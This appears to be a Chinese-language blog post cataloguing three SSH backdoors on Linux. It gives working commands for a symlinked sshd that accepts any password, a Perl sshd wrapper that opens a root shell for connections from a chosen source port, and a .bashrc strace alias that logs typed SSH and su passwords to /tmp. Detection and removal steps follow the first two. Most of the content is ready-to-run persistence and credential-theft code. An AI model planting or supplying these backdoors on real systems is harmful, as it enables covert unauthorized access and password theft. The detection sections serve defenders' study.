ssh backdoor

0x01. 前言

最近碰到很多留系统后门的case,无论windows还是linux。 所以这篇文章收集了一些ssh的backdoor,下篇文章写下windows的backdoor

0x02. 最简单的ssh后门 -- soft link(软连接)

如果现在利用redis反弹到一个root权限的shell,要登录ssh的就可以利用这种后门。

利用这一行命令就完成了这个最简单ssh后门创建

[root@helen]# ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;

此时就可以用任意密码进行目标的ssh登录

[root@viarus ~]# ssh [email protected] -p 2333
[email protected]'s password: 
Last login: Wed Dec 30 00:50:14 2015 from z.z.z.z

Welcome to aliyun Elastic Compute Service!

如何发现并且删除后们?

在看网络连接的时候,看到这个奇怪的文件名监听0.0.0.0的一个这么奇怪的端口。有经验的网管都会ll /proc/pid进行查看 poc 不信,你看。看见su的文件路径是/usr/sbin/sshd,这就可以断定是个后门程序了。 poc 根据进程就能查到后门程序位置。ps -ef | grep pid,上面可以看到pid是2975。这样就可以看到后门程序是/tmp/su

root      2975     1  0 00:56 ?        00:00:00 /tmp/su -oPort=2333

可以看到su是一个软连接,指向/usr/sbin/sshd

[root@helen ~]# ls -la /tmp
total 12
drwxrwxrwt.  3 root root 4096 Dec 30 00:56 .
dr-xr-xr-x. 22 root root 4096 Nov 10 20:26 ..
lrwxrwxrwx   1 root root   14 Dec 30 00:56 su -> /usr/sbin/sshd

清除后门

kill -9 pid
rm -rf 后门程序

PS:如果直接使用/usr/sbin/sshd -oPort=2333,这样会输入密码才能连ssh

0x03. SSH Server wrapper

先将/usr/sbin/sshd文件mv到/usr/bin目录

[root@helen ~]# cd /usr/sbin/
[root@helen sbin]# mv sshd ../bin
[root@helen sbin]# vim sshd

再编辑sshd

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

再chmod 755 sshd

在本机上执行socat STDIO TCP4:target_ip:22,sourceport=19526

这个效果其实和shell效果一样,感觉并不是ssh的后门 poc

19526端口是这样来的

>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'

如何发现并删除后门?

查看端口可以看到ssh的端口,居然是叫sh的进程名在监听。这肯定不正常。 poc 我们再看下,sshd的进程pid是844的文件路径是什么ll /proc/844,可以很清楚的看到sshd的路径在/usr/bin/sshd。因为正常的sshd路径是在/usr/sbin/sshd,所以断定sshd肯定被动过手脚。

[root@helen sbin]# ll /proc/844
total 0
dr-xr-xr-x 2 root root 0 Nov 10 22:24 attr
-rw-r--r-- 1 root root 0 Nov 19 10:51 autogroup
-r-------- 1 root root 0 Nov 19 10:51 auxv
-r--r--r-- 1 root root 0 Nov 19 10:51 cgroup
--w------- 1 root root 0 Nov 19 10:51 clear_refs
-r--r--r-- 1 root root 0 Nov 10 20:26 cmdline
-rw-r--r-- 1 root root 0 Nov 19 10:51 comm
-rw-r--r-- 1 root root 0 Nov 19 10:51 coredump_filter
-r--r--r-- 1 root root 0 Nov 19 10:51 cpuset
lrwxrwxrwx 1 root root 0 Nov 19 10:51 cwd -> /
-r-------- 1 root root 0 Nov 19 10:51 environ
lrwxrwxrwx 1 root root 0 Nov 19 10:51 exe -> /usr/bin/sshd
dr-x------ 2 root root 0 Nov 10 22:24 fd
dr-x------ 2 root root 0 Nov 19 10:51 fdinfo

cat下,就知道怎么回事了。

[root@helen sbin]# cat /usr/sbin/sshd 
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

最后还原操作: rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

0x04. SSH keylogger

先vim当前用户下的.bashrc文件 在最后面添加如下后门代码:

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

poc source .bashrc命令使更改的配置生效

此时再ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里

poc

参考链接

http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951

results matching ""

    No results matching ""